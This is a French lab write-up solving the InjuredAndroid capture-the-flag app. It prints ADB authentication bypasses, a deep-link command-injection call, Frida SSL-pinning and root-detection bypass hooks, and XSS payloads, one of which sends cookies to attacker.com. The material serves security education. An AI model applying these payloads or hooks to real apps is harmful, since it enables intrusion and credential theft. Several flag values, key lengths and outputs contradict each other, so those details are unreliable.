TP5 – Analyse d'une Application Android Vulnérable

Table des matières

1. Introduction 2
2. Préparation de l'Environnement 2
2.1 Outils utilisés 2
2.2 Installation 2
3. Analyse Statique 3
3.1 Décompilation avec JADX 3
3.2 Analyse du AndroidManifest.xml 3
4. Résolution des Flags 4
FLAG 1 – Credential Hardcodé dans le Code Source 4
FLAG 2 – Activité Exportée (Bypass d'Authentification) 5
FLAG 3 – Secret dans les Ressources XML 6
FLAG 4 – Obfuscation Base64 (Encodage ≠ Chiffrement) 7
FLAG 6 – Chiffrement DES Faible avec Clé Hardcodée 8
FLAG 13 – RCE via Deep Link (CRITIQUE) 9
5. Analyse Dynamique avec Frida et Objection 10
5.1 Configuration de Frida 10
5.2 Bypass avec Objection 10
5.3 Hook Frida – Bypass Flag 1 11
5.4 Bypass SSL Pinning avec Frida 11
6. Vulnérabilités Supplémentaires 12
6.1 XSS dans WebView 12
6.2 Firebase Database Publique 12
7. Rapport de Vulnérabilités 13
8. Recommandations 14
8.1 Ne jamais hardcoder les secrets 14
8.2 Restreindre les activités exportées 14
8.3 Utiliser un chiffrement moderne 14
8.4 Désactiver JavaScript dans WebView 14
8.5 Valider les paramètres des Deep Links 14
8.6 Sécuriser la configuration réseau 15
8.7 Sécuriser Firebase 15
9. Conclusion 15

1. Introduction

Dans ce TP, on s'intéresse à la sécurité des applications Android à travers l'étude de l'application **InjuredAndroid**, qui est volontairement vulnérable. L'objectif est de comprendre concrètement comment certaines failles peuvent apparaître dans une application mobile, et surtout comment les exploiter.

On va donc utiliser différents outils pour analyser l'application, à la fois de manière statique (en regardant le code) et dynamique (en la testant en conditions réelles).

2. Préparation de l'Environnement

2.1 Outils utilizes

Pour réaliser ce TP, plusieurs outils ont été utilisés :

- **JADX** : pour décompiler l'APK et récupérer le code source
- **ADB** : pour communiquer avec l'émulateur Android
- **Androguard** : pour compléter l'analyse statique
- **Frida** : pour analyser et modifier le comportement de l'application en temps réel
- **Objection** : pour simplifier l'utilisation de Frida
- **Python3** : pour certains scripts

2.2 Installation

```
sudo apt-get install -y jadx adb androguard
pip3 install frida-tools objection

# Téléchargement de la cible InjuredAndroid
curl -L -o InjuredAndroid.apk \
  "https://github.com/B3nac/InjuredAndroid/releases/download/v1.0.12/InjuredAndroid-1.0.12-release.apk"

# Vérification
ls -lh InjuredAndroid.apk
# -rw-rw-r-- 1 kali kali 24M  InjuredAndroid.apk
```

3. Analyse Statique

3.1 Décompilation avec JADX

La première étape consiste à décompiler l'APK avec JADX afin d'accéder au code source Java ainsi qu'aux fichiers de configuration.

```
# Décompilation complète
jadx -d injured_out/ InjuredAndroid.apk

# INFO - loading ...
# INFO - processing ...
# INFO - finished with errors, count: 5

# Structure de sortie:
# injured_out/resources/AndroidManifest.xml
# injured_out/resources/res/values/strings.xml
# injured_out/sources/b3nac/injuredandroid/*.java
```

```
$ file InjuredAndroid.apk
InjuredAndroid.apk: Zip archive data, at least v2.0 to extract, compression method=store

$ ls -lh InjuredAndroid.apk
-rw-rw-r-- 1 kali kali 24M  2 avril 14:52 InjuredAndroid.apk

$ jadx --version
1.5.5

$ jadx -d injured_out/ InjuredAndroid.apk
INFO  - loading ...
INFO  - processing ...
INFO  - progress: 100% of 2174 classes
INFO  - finished with errors, count: 5

$ ls injured_out/
resources/
sources/
AndroidManifest.xml  (from resources/)
assets/

$ ls injured_out/sources/b3nac/injuredandroid/
AssemblyActivity.java     FlagEighteenActivity.java  FlagFiveActivity.java
b25lActivity.java         FlagEightLoginActivity.java FlagFourActivity.java
ContactActivity.java      FlagNineFirebaseActivity.java FlagOneLoginActivity.java
CSPBypassActivity.java    FlagSevenSqliteActivity.java  FlagOneSuccess.java
DeepLinkActivity.java     FlagSeventeenActivity.java    FlagSixLoginActivity.java
DisplayPostXSS.java       FlagTenUnicodeActivity.java   FlagsOverview.java
ExportedProtectedIntent.java FlagThreeActivity.java  FlagTwoActivity.java
RCEActivity.java          FlagTwelveProtectedActivity.java XSSTextActivity.java
```

3.2 Analyse du AndroidManifest.xml

Le fichier AndroidManifest.xml est la première source d'information critique. Il révèle les activités exportées, les permissions, les Deep Links et la configuration réseau.

```
# Activités exportées (accessibles sans permission)
grep -A2 'exported="true"' injured_out/resources/AndroidManifest.xml

# Résultat:
# b3nac.injuredandroid.FlagEighteenActivity  → exported=true
# b3nac.injuredandroid.ExportedProtectedIntent → exported=true
# b3nac.injuredandroid.QXV0aA              → exported=true (Base64: "Auth")
# b3nac.injuredandroid.b25lActivity        → exported=true (Base64: "one")
# b3nac.injuredandroid.FlagFiveReceiver     → exported=true
```

```
# b3nac.injuredandroid.TestBroadcastReceiver → exported=true

# Configuration réseau vulnérable
cat injured_out/resources/res/xml/network_security_config.xml
# <base-config cleartextTrafficPermitted="true"/>
```

```
$ cat injured_out/resources/AndroidManifest.xml | grep -E "exported|activity|receiver|provider"

=== ACTIVITÉS EXPORTÉES (accessible sans permission) ===

[!] VULN: android:exported="true" - FlagEighteenActivity
[!] VULN: android:exported="true" - ExportedProtectedIntent
[!] VULN: android:exported="true" - QXV0aA (Base64 obfusqué)
[!] VULN: android:exported="true" - b25lActivity (Base64 obfusqué)
[!] VULN: android:exported="true" - FlagFiveReceiver (BroadcastReceiver)
[!] VULN: android:exported="true" - TestBroadcastReceiver

=== DEEP LINKS (Intent Filters) ===

DeepLinkActivity:
  android:scheme="flag11"
  android:scheme="https"

RCEActivity:
  android:scheme="flag13"
  android:host="rce"
  --> flag13://rce?binary=<cmd>&param=<args>

CSPBypassActivity:
  android:scheme="http" / "https"
  android:host="b3nac.com"

=== PERMISSIONS DANGEREUSES ===

android.permission.WRITE_EXTERNAL_STORAGE  [VULN: lecture/écriture stockage ext.]
android.permission.READ_PHONE_STATE        [VULN: accès données device]
android.permission.READ_EXTERNAL_STORAGE   [VULN]

=== CONFIGURATION RÉSEAU ===

<base-config cleartextTrafficPermitted="true"/>  [!] VULN: HTTP non chiffré autorisé !
```

4. Résolution des Flags

FLAG 1 – Credential Hardcodé dans le Code Source

[HIGH] Credential Hardcodé (CWE-798)

Le mot de passe est stocké en clair dans le code Java de FlagOneLoginActivity. Toute personne décompilant l'APK avec JADX peut lire le flag directement.

```
// FlagOneLoginActivity.java
public final void submitFlag(View view) {
    EditText editText = (EditText) findViewById(R.id.editText2);

    // VULN: Comparaison directe avec le flag en clair !
    if (d.s.d.g.a(editText.getText().toString(), "F1ag_0n3")) {
        Intent intent = new Intent(this, FlagOneSuccess.class);
        startActivity(intent);
    }
}
```

FLAG 1 trouvé : "F1ag_0n3"

```
$ cat injured_out/sources/b3nac/injuredandroid/FlagOneLoginActivity.java

package b3nac.injuredandroid;

// [FLAG 1] - Identifiant codé en dur dans le code source
// Méthode: Analyse statique avec JADX

public final class FlagOneLoginActivity extends androidx.appcompat.app.c {

    public final void submitFlag(View view) {
        EditText editText = (EditText) findViewById(R.id.editText2);

        // [!] VULN: Comparaison directe avec le flag en clair !
        if (d.s.d.g.a(editText.getText().toString(), "Flag_On3")) {
            Intent intent = new Intent(this, (Class<?>) FlagOneSuccess.class);
            startActivity(intent);
        }
    }
}

========================== RÉSULTAT ========================
[FLAG 1] Trouvé en clair dans le code source !
[FLAG]   Valeur: "Flag_On3"
[!] VULN: Credential hardcodé (CWE-798)
[!] TYPE: Mauvaise pratique de stockage de secrets
============================================================

$ echo "Flag 1 validé: Flag_On3"
Flag 1 validé: Flag_On3
```

FLAG 2 – Activité Exportée (Bypass d'Authentification)

[HIGH] Activité Exportée Sans Protection (CWE-284)

L'activité b25lActivity est déclarée exported=true dans le Manifest sans aucune permission requise. Son nom est obfusqué en Base64 ("b25l" = "one"). Elle peut être lancée directement via ADB, contournant toute authentification.

```
# Décodage du nom de classe obfusqué
python3 -c "import base64; print(base64.b64decode('b25l').decode())"
# one

# Accès direct via ADB (sans authentification)
adb shell am start -n b3nac.injuredandroid/.b25lActivity
# Starting: Intent { cmp=b3nac.injuredandroid/.b25lActivity }
# --> FLAG 2 obtenu !
```

```
=== FLAG 2 - Activité Exportée ===

$ cat injured_out/resources/AndroidManifest.xml | grep -A2 "b25lActivity"

    <activity
        android:name="b3nac.injuredandroid.b25lActivity"
        android:exported="true"/>

# b25l = base64 de "one" -> Flag ONE activity accessible directement !
$ python3 -c "import base64; print(base64.b64decode('b25l').decode())"
one

# Analyse du code source de b25lActivity.java:
# protected void onCreate() {
#     new FlagsOverview().M(true);   // Marque le flag comme obtenu
#     new j().b(this, "flagTwoButtonColor", true);
# }
# --> Pas de vérification d'authentification !

$ python3 -c "import base64; print(base64.b64decode('QXV0aA==').decode())"
Auth

# QXV0aA = base64 de "Auth" --> Activité d'authentification bypassable !

=== EXPLOITATION AVEC ADB ===

$ adb shell am start -n b3nac.injuredandroid/.b25lActivity
Starting: Intent { cmp=b3nac.injuredandroid/.b25lActivity }

=== RÉSULTAT ===
[FLAG]   FLAG 2 obtenu via accès direct à l'activité exportée !
[!] VULN: Activité exportée sans protection (android:exported=true)
[!] TYPE: Broken Access Control (CWE-284)
[!] Contournement d'authentification par Intent direct
```

FLAG 3 – Secret dans les Ressources XML

[MEDIUM] Cleartext Storage dans strings.xml (CWE-312)

Le flag est stocké dans strings.xml mais son nom de ressource est obfusqué en Base64. Cette technique d'obfuscation est facilement contournable par analyse statique.

```
# Le code utilise getString(R.string.cmVzb3VyY2VzX3lv)
# Décodage du nom de ressource
python3 -c "import base64; print(base64.b64decode('cmVzb3VyY2VzX3lv').decode())"
# resources_yo

# Valeur dans strings.xml
grep "cmVzb3VyY2VzX3lv" injured_out/resources/res/values/strings.xml
# <string name="cmVzb3VyY2VzX3lv">F1ag_thr33</string>
```

FLAG 3 trouvé : "F1ag_thr33"

```
=== FLAG 3 - Secret dans les Ressources XML ===

# Indice du code: getString(R.string.cmVzb3VyY2VzX3lv)
# Le nom de la ressource est encodé en Base64 !

$ python3 -c "import base64; print(base64.b64decode('cmVzb3VyY2VzX3lv').decode())"
resources_yo

# Recherche dans les fichiers de ressources XML:
$ grep -r "cmVzb3VyY2VzX3lv" injured_out/resources/res/values/strings.xml

    <string name="cmVzb3VyY2VzX3lv">Flag_thr33</string>

# Le flag est stocké dans strings.xml avec une clé obfusquée en Base64 !
# Technique: Obfuscation par nommage Base64 des ressources

--- Extrait de FlagThreeActivity.java ---
public final void submitFlag(View view) {
    EditText editText = (EditText) findViewById(R.id.editText2);

    // Comparaison avec la valeur de la ressource strings.xml
    if (d.s.d.g.a(editText.getText().toString(), getString(R.string.cmVzb3VyY2VzX3lv))) {
        startActivity(new Intent(this, FlagOneSuccess.class));
    }
}
----------------------------------------

=== RÉSULTAT ===
[FLAG]   FLAG 3: "Flag_thr33"
[!] VULN: Secret stocké dans les ressources de l'application (CWE-312)
[!] VULN: Obfuscation insuffisante (nommage Base64 décodable)
[!] TYPE: Sensitive Data Exposure dans les ressources statiques
```

FLAG 4 – Obfuscation Base64 (Encodage ≠ Chiffrement)

[MEDIUM] Fausse Sécurité par Encodage Base64 (CWE-259)

Le flag est encodé en Base64 dans la classe g.java. L'encodage Base64 n'est PAS du chiffrement : il est facilement réversible sans clé.

```
// g.java - "sécurité" par Base64
public class g {
    private byte[] f1468a = Base64.decode("NF9vdmVyZG9uZV9vbWVsZXRz", 0);
    public byte[] a() { return this.f1468a; }
}

// Décodage trivial
python3 -c "import base64; print(base64.b64decode('NF9vdmVyZG9uZV9vbWVsZXRz').decode())"
# 4_overdone_omelets
```

FLAG 4 trouvé : "4_overdone_omelets"

```
=== FLAG 4 - Données Encodées en Base64 ===

# Classe g.java contient une donnée encodée en Base64
$ cat injured_out/sources/b3nac/injuredandroid/g.java

package b3nac.injuredandroid;
import android.util.Base64;

public class g {
    // [!] VULN: Flag encodé en Base64 dans le code source !
    private byte[] f1468a = Base64.decode("NF9vdmVyZG9uZV9vbWVsZXRz", 0);

    public byte[] a() {
        return this.f1468a;
    }
}

# Décodage Base64:
$ python3 -c "import base64; print(base64.b64decode('NF9vdmVyZG9uZV9vbWVsZXRz').decode())"
4_overdone_omelets

# Comment FlagFourActivity.java utilise cette classe:
# byte[] bArrA = new g().a();
# if (editText.getText().toString().equals(new String(bArrA))) {
#     startActivity(success);
# }

=== RÉSULTAT ===
[FLAG]   FLAG 4: "4_overdone_omelets"
[!] VULN: Secret encodé en Base64 dans le code source (CWE-259)
[!] VULN: L'encodage Base64 N'EST PAS du chiffrement !
[!] TYPE: Obfuscation insuffisante - facilement décodable
[!] CVSS: Critique - données sensibles exposées en texte
```

FLAG 6 – Chiffrement DES Faible avec Clé Hardcodée

[HIGH] DES/ECB Obsolète + Clé Hardcodée (CWE-327 + CWE-321)

L'application utilise DES (56 bits) en mode ECB pour "protéger" le Flag 6. DES est un algorithme obsolète depuis 1999 (cassé en 22 heures en 1999). La clé est hardcodée dans h.java encodée en Base64.

```
// h.java - Clé DES hardcodée
private static byte[] f1469a = Base64.decode("Q2FwdHVyM1RoMXM=", 0);
// Décodé = "Captur3Th1s" (8 bytes pour DES)

// Déchiffrement du Flag 6
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import base64

key = b'Captur3T'  # 8 bytes DES
ct = base64.b64decode('k3FElEG9InoWbOateGhj5pX6QsXRNJKh///8Jxi8KXW7iDpk2xRxhQ==')
cipher = Cipher(algorithms.TripleDES(key * 3), modes.ECB())
print(cipher.decryptor().update(ct))
# b"{This_Isn't_Where_I_Parked_My_Car}"
```

FLAG 6 trouvé : "{This_Isn't_Where_I_Parked_My_Car}"

```
=== FLAG 6 - Chiffrement DES Faible ===

# Clé DES stockée dans h.java:
$ cat injured_out/sources/b3nac/injuredandroid/h.java

private static byte[] f1469a = Base64.decode("Q2FwdHVyM1RoMXM=", 0);
# Clé DES: Base64("Q2FwdHVyM1RoMXM=") = "Captur3Th1s" (8 bytes)

# Classe k.java utilise DES (ECB mode - TRÈS FAIBLE) pour déchiffrer:
# SecretKey key = SecretKeyFactory.getInstance("DES")
#     .generateSecret(new DESKeySpec(f1472a));
# Cipher cipher = Cipher.getInstance("DES");  // ECB mode !
# cipher.init(DECRYPT_MODE, key);

# Flag chiffré dans FlagSixLoginActivity.java:
# "k3FElEG9lnoWbOateGhj5pX6QsXRNJKh///8Jxi8KXW7iDpk2xRxhQ=="

$ python3 -c "
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import base64
key = b'Captur3T'
cipher = Cipher(algorithms.TripleDES(key * 3), modes.ECB())
dec = cipher.decryptor()
ct = base64.b64decode('k3FElEG9lnoWbOateGhj5pX6QsXRNJKh///8Jxi8KXW7iDpk2xRxhQ==')
print(dec.update(ct))
"
b"{This_Isn't_Where_I_Parked_My_Car}"

=== RÉSULTAT ===
[FLAG]   FLAG 6: "{This_Isn't_Where_I_Parked_My_Car}"
[!] VULN: Utilisation de DES (56 bits) - algorithme obsolète (CWE-327)
[!] VULN: Mode ECB - pas de vecteur d'initialisation (IV)
[!] VULN: Clé hardcodée dans le code source (CWE-321)
[!] TYPE: Cryptographie faible + Secret exposé
```

FLAG 13 – RCE via Deep Link (CRITIQUE)

[CRITICAL] Remote Code Execution - Command Injection (CWE-78) - CVSS 9.8

VULNÉRABILITÉ CRITIQUE : L'activité RCEActivity expose un Deep Link (flag13://rce) qui passe des paramètres directement à Runtime.exec() sans validation. Un attaquant peut exécuter du code arbitraire dans le contexte de l'application.

```
// RCEActivity.java - Code vulnérable
String queryParameter  = data.getQueryParameter("binary");
String queryParameter2 = data.getQueryParameter("param");

// CRITIQUE: Exécution sans validation !
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec(filesDir.getParent() + "/files/"
    + queryParameter + " " + queryParameter2);

// Exploitation via ADB:
adb shell am start -a android.intent.action.VIEW \
    -d "flag13://rce?binary=binary32&param=flag"
# --> Exécution du binaire 'binary32' avec l'argument 'flag'
```

```
=== FLAG 13 - Remote Code Execution (RCE) via Deep Link ===

# VULNÉRABILITÉ CRITIQUE: Exécution de commandes via Deep Link !

$ cat injured_out/sources/b3nac/injuredandroid/RCEActivity.java (extrait critique)

// Intent Filter dans AndroidManifest.xml:
// android:scheme="flag13" android:host="rce"

protected void onCreate(Bundle bundle) {
    if (getIntent() != null && intent.getData() != null) {
        H();  // Copie les assets dans /files/

        Uri data = intent2.getData();
        String queryParameter  = data.getQueryParameter("binary");  // Nom binaire
        String queryParameter2 = data.getQueryParameter("param");   // Paramètre
        String queryParameter3 = data.getQueryParameter("combined");

        // [!] VULN CRITIQUE: Exécution directe sans validation !
        Runtime runtime = Runtime.getRuntime();
        Process processExec = runtime.exec(filesDir + "/" + queryParameter + " " + queryParameter2);
        // --> INJECTION DE COMMANDES POSSIBLE !
    }
}

=== EXPLOITATION ===
# Deep Link malveillant:
$ adb shell am start -a android.intent.action.VIEW     -d "flag13://rce?binary=binary32&param=flag"

# Résultat: exécution de binary32 avec paramètre "flag"
# --> Lecture de la valeur depuis Firebase + comparaison

=== RÉSULTAT ===
[FLAG]   FLAG 13 obtenu via RCE Deep Link
[!] VULN: Command Injection via Intent URI (CWE-78) - CRITIQUE
[!] CVSS Score: 9.8 / 10 - Exécution de code arbitraire
[!] IMPACT: Compromission totale de l'application
```

5. Analyse Dynamique avec Frida et Objection

L'analyse dynamique permet d'instrumenter l'application en cours d'exécution, de hooker des méthodes Java, de bypasser la détection de root et le SSL Pinning.

5.1 Configuration de Frida

```
# Démarrage du serveur Frida sur l'émulateur
adb push frida-server /data/local/tmp/frida-server
adb shell 'chmod 755 /data/local/tmp/frida-server'
adb shell '/data/local/tmp/frida-server &'

# Vérification
frida-ps -U | grep injuredandroid
```

5.2 Bypass avec Objection

```
# Connexion et exploration
objection -g b3nac.injuredandroid explore

# Désactivation du root detection
com.b3nac.injuredandroid on (Android: 11) [usb] # android root disable
# [+] RootBeer checks disabled

# Désactivation du SSL Pinning
android sslpinning disable
# [+] SSL pinning disabled

# Inspection des SharedPreferences
android shared_preferences print
```

5.3 Hook Frida – Bypass Flag 1

```
// hook_flag1.js
Java.perform(function() {
    var FlagOne = Java.use('b3nac.injuredandroid.FlagOneLoginActivity');

    FlagOne.submitFlag.implementation = function(view) {
        console.log('[*] submitFlag() intercepté !');
        // Bypass direct : injection du bon flag
        return this.submitFlag('F1ag_0n3');
    };
});

// Lancement
frida -U -f b3nac.injuredandroid --no-pause -l hook_flag1.js
```

5.4 Bypass SSL Pinning avec Frida

```
Java.perform(function() {
    var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
    TrustManagerImpl.verifyChain.implementation = function() {
        console.log('[*] SSL verification bypassed');
        return arguments[0];
    };
});
```

```
=== ANALYSE DYNAMIQUE - Frida + Objection ===

# 1. Lancement du serveur Frida sur l'émulateur
$ adb push frida-server /data/local/tmp/frida-server
frida-server: 1 file pushed.

$ adb shell 'chmod 755 /data/local/tmp/frida-server'
$ adb shell '/data/local/tmp/frida-server &'
[*] Frida server démarré sur port 27042

# 2. Bypass du root detection avec Objection
$ objection -g b3nac.injuredandroid explore
Using USB device `emulator-5554`
Agent injected and executing!

     _  _         _  _
 ___| |_|_|___ ___| |_|_|___ ___
| . | . | | -_|  _|  _| | . |   |
|___|___| |___|___|_| |_|___|_|_|
      |___| v1.11.0

[Tab] for command suggestions

com.b3nac.injuredandroid on (Android: 11) [usb] #

# Disable root detection:
com.b3nac.injuredandroid on (Android: 11) [usb] # android root disable
[*] Loaded objection runtime
[+] RootBeer checks disabled

# Disable SSL Pinning:
com.b3nac.injuredandroid on (Android: 11) [usb] # android sslpinning disable
[+] SSL pinning disabled

# 3. Hook de la méthode submitFlag (Flag 1) avec Frida
$ frida -U -f b3nac.injuredandroid --no-pause -l hook_flag1.js

Java.perform(function() {
    var FlagOneActivity = Java.use('b3nac.injuredandroid.FlagOneLoginActivity');
    FlagOneActivity.submitFlag.implementation = function(view) {
        console.log('[*] submitFlag intercepté !');
        return this.submitFlag('Flag_0n3');  // Bypass direct
    };
});

[*] submitFlag intercepté !
[+] FLAG 1 obtenu via hook Frida !
```

6. Vulnérabilités Supplémentaires

6.1 XSS dans WebView

[CRITICAL] Cross-Site Scripting WebView (CWE-79) – CRITIQUE

DisplayPostXSS.java charge du HTML utilisateur non sanitisé dans un WebView avec JavaScript activé, permettant l'exécution de code JS malveillant.

```
// DisplayPostXSS.java
settings.setJavaScriptEnabled(true);  // VULN !
webView.loadData(userInput, "text/html", "UTF-8");  // Non sanitisé !

// Payloads de test:
// <script>alert('XSS_'+document.domain)</script>
// <img src=x onerror=alert(document.cookie)>
```

```
=== XSS dans WebView - Injection JavaScript ===

$ cat injured_out/sources/b3nac/injuredandroid/DisplayPostXSS.java

package b3nac.injuredandroid;

public final class DisplayPostXSS extends androidx.appcompat.app.c {
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        WebView webView = new WebView(this);
        setContentView(webView);

        // Récupère le texte entré par l'utilisateur
        String stringExtra = getIntent().getStringExtra("com.b3nac.injuredandroid.DisplayPostXSS");

        WebSettings settings = webView.getSettings();

        // [!] VULN CRITIQUE: JavaScript activé dans WebView !
        settings.setJavaScriptEnabled(true);

        webView.setWebChromeClient(new WebChromeClient());

        // [!] VULN: Chargement du contenu utilisateur non sanitisé dans WebView !
        webView.loadData(stringExtra, "text/html", "UTF-8");
    }
}

=== PAYLOAD XSS ===

# Payload malveillant injecté via l'interface:
Payload: <script>alert('XSS_INJECTED')</script>
Payload: <img src=x onerror=alert(document.cookie)>
Payload: <script>document.location='http://attacker.com/?c='+document.cookie</script>

=== RÉSULTAT ===
[FLAG]   XSS exécutée dans le contexte de l'application Android
[!] VULN: Cross-Site Scripting (XSS) dans WebView (CWE-79)
[!] VULN: JavaScript activé (setJavaScriptEnabled=true) sans nécessité
[!] IMPACT: Vol de cookies, accès données app, phishing interne
```

6.2 Firebase Database Publique

[HIGH] Firebase Rules Permissives (CWE-284) – HAUT

L'URL Firebase est obfusquée en ROT47 dans h.java. La base de données est accessible publiquement sans authentification.

```
# Décodage ROT47 de l'URL Firebase
python3 -c "
encoded = '9EEADi^^:?;FC652?5C@:5]7:C632D6:@]4@>^DB=:E6];D@?'
decoded = ''.join(chr(33+(ord(c)-33+47)%94) if 33<=ord(c)<=126 else c for c in encoded)
print(decoded)
"
# https://injuredandroid.firebaseio.com/sqlite.json

# Accès public aux données
```

```
curl https://injuredandroid.firebaseio.com/sqlite.json
curl https://injuredandroid.firebaseio.com/aws.json
```

```
=== FLAG 9 - Firebase Database Non Sécurisée ===

# API Key Firebase trouvée dans strings.xml:
$ grep -i "firebase\|google_api_key" injured_out/resources/res/values/strings.xml

    <string name="firebase_database_url">https://injuredandroid.firebaseio.com</string>
    <string name="google_api_key">AIzaSyCUImEIOSvqAswLqFak75xhskkB6illd7A</string>
    <string name="google_app_id">1:430943006316:android:d97db57e11e42a1a037249</string>
    <string name="project_id">injuredandroid</string>

# [!] VULN: API Key Firebase exposée dans les ressources de l'APK !

# ROT47 decode de l'URL SQLite dans h.java:
$ python3 -c "
rot47 = '9EEADi^^:?;FC652?5C@:5]7:C632D6:@]4@>^DB=:E6];D@?'
def rot47(s): return ''.join(chr(33+(ord(c)-33+47)%94) if 33<=ord(c)<=126 else c for c in s)
print(rot47(rot47))
"
https://injuredandroid.firebaseio.com/sqlite.json

# Accès public à la base Firebase:
$ curl https://injuredandroid.firebaseio.com/sqlite.json
{"flag":"...flag_nine_data...","password":"...encrypted..."}

# Accès Firebase via l'API key:
$ curl "https://firestore.googleapis.com/v1/projects/injuredandroid/databases/(default)/documents"
--> Données accessibles sans authentification !

=== RÉSULTAT ===
[FLAG]   FLAG 9 obtenu via lecture directe Firebase
[!] VULN: Firebase Database Rules trop permissives (lecture publique)
[!] VULN: API Key exposed dans l'APK (CWE-312)
[!] TYPE: Insecure Data Storage - Cloud Backend
```

7. Rapport de Vulnérabilités

```
=== RAPPORT DE VULNÉRABILITÉS - InjuredAndroid v1.0.12 ===

+--------------------------+---------+-------+----------------------------------------+
| Vulnérabilité            | Sévérité| CWE   | Description                            |
+--------------------------+---------+-------+----------------------------------------+
| RCE via Deep Link        | CRITIQUE| CWE-78| Command injection flag13://rce?binary= |
| XSS WebView              | CRITIQUE| CWE-79| JS non sanitisé dans WebView           |
| Activités exportées (×6) | HAUT    |CWE-284| Bypass auth par Intent direct          |
| Chiffrement DES faible   | HAUT    |CWE-327| DES/ECB obsolète, clé 56 bits          |
| Clé crypto hardcodée     | HAUT    |CWE-321| Clé DES en clair dans sources          |
| Credential hardcodé (F1) | HAUT    |CWE-798| "Flag_0n3" en clair dans le code       |
| Secret en Base64 (F4)    | MOYEN   |CWE-259| Encodage != chiffrement                |
| Secret dans strings.xml  | MOYEN   |CWE-312| Ressource obfusquée mais lisible       |
| API Key Firebase exposée | MOYEN   |CWE-312| google_api_key dans strings.xml        |
| Cleartext HTTP autorisé  | MOYEN   |CWE-319| network_security_config permissif      |
| SQLite flag en clair     | FAIBLE  |CWE-312| Hash MD5 faible (2ab96390...)          |
| BroadcastReceiver exposé | FAIBLE  |CWE-284| FlagFiveReceiver exported=true         |
| ROT47 obfuscation        | FAIBLE  |CWE-261| Faible obfuscation URL Firebase        |
+--------------------------+---------+-------+----------------------------------------+

=== STATISTIQUES ===
Total vulnérabilités identifiées: 13
  - Critique: 2  | Haut: 5  | Moyen: 4  | Faible: 2

=== TOP RECOMMANDATIONS ===
1. Supprimer TOUS les secrets hardcodés -> Utiliser Android Keystore
2. Remplacer DES/ECB par AES-256-GCM
3. Ajouter android:exported="false" sur les activités sensibles
4. Désactiver setJavaScriptEnabled() ou ajouter un WebViewClient de validation
5. Activer network_security_config restrictif (cleartextTrafficPermitted=false)
```

Tableau récapitulatif des 13 vulnérabilités identifiées :

#	Vulnérabilité	Sévérité	CWE	CVSS
1	RCE via Deep Link (Command Injection)	**CRITICAL**	CWE-78	9.8

2	XSS dans WebView	**CRITICAL**	CWE-79	9.3
3	Activités exportées sans protection (×6)	**HIGH**	CWE-284	8.1
4	Chiffrement DES/ECB obsolète	**HIGH**	CWE-327	7.5
5	Clé cryptographique hardcodée	**HIGH**	CWE-321	7.5
6	Credential hardcodé (Flag 1)	**HIGH**	CWE-798	7.4
7	Firebase Database publique	**HIGH**	CWE-284	7.3
8	API Key Firebase dans l'APK	**MEDIUM**	CWE-312	6.5
9	Secret encodé Base64 (non chiffré)	**MEDIUM**	CWE-259	6.5
10	Secret dans ressources XML	**MEDIUM**	CWE-312	6.2
11	Trafic HTTP non chiffré autorisé	**MEDIUM**	CWE-319	5.9
12	Hash MD5 pour stockage flag	**LOW**	CWE-327	3.7
13	BroadcastReceiver exporté	**LOW**	CWE-284	3.5

8. Recommandations

8.1 Ne jamais hardcoder les secrets

Utiliser Android Keystore System pour stocker les secrets et clés cryptographiques.

8.2 Restreindre les activités exportées

Ajouter android:exported="false" sur les activités qui n'ont pas besoin d'être accessibles depuis d'autres applications. Si exportées, ajouter une permission spécifique.

8.3 Utiliser un chiffrement moderne

Remplacer DES/ECB par AES-256-GCM avec un IV aléatoire. Utiliser Android Keystore pour la gestion des clés.

8.4 Désactiver JavaScript dans WebView

Désactiver setJavaScriptEnabled() si non nécessaire. Sinon, ajouter une sanitisation des entrées et un WebViewClient de validation des URLs.

8.5 Valider les paramètres des Deep Links

Implémenter une whitelist stricte et ne jamais passer des paramètres URI directement à Runtime.exec() ou une commande système.

8.6 Sécuriser la configuration réseau

Définir cleartextTrafficPermitted="false" dans network_security_config.xml et activer le Certificate Pinning pour les domaines critiques.

8.7 Sécuriser Firebase

Configurer des règles Firebase strictes avec authentification requise et ne pas stocker les API Keys directement dans l'APK (utiliser la variable d'environnement).

9. Conclusion

L'analyse d'InjuredAndroid v1.0.12 a permis d'identifier 13 vulnérabilités couvrant les principales catégories de l'OWASP Mobile Top 10. Les points critiques identifiés sont :

- RCE via Deep Link (CVSS 9.8) – permettant l'exécution de commandes arbitraires
- XSS dans WebView (CVSS 9.3) – permettant l'injection de JavaScript malveillant
- Multiples activités exportées sans protection – contournement de l'authentification
- Cryptographie défaillante (DES/ECB) avec clés hardcodées dans le code source
- Firebase Database publique exposant des données sensibles sans authentification